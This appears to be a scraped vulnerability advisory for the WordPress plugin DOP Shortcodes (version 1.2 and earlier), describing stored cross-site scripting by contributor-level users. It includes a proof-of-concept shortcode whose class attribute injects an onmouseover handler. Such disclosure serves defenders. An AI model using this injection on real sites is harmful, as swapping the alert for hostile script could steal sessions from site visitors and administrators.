DOP Shortcodes <= 1.2 - Contributor+ Stored XSS via Shortcode

2024-05-3100:00:00

Bob Matyas

dop shortcodes

contributor+

stored xss

shortcode

exploit

accordion

5.8 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Add the following shortcode to a post:

```
[dopaccordions class='wp-block-search__button" onmouseover="alert(/XSS/)"']
[dopaccordion title="Title 1"]text[/dopaccordion]
[dopaccordion title="Title 2"]text[/dopaccordion]
[dopaccordion title="Title 3"]text[/dopaccordion]
[/dopaccordions]
```

Move your mouse over the accordion to see the XSS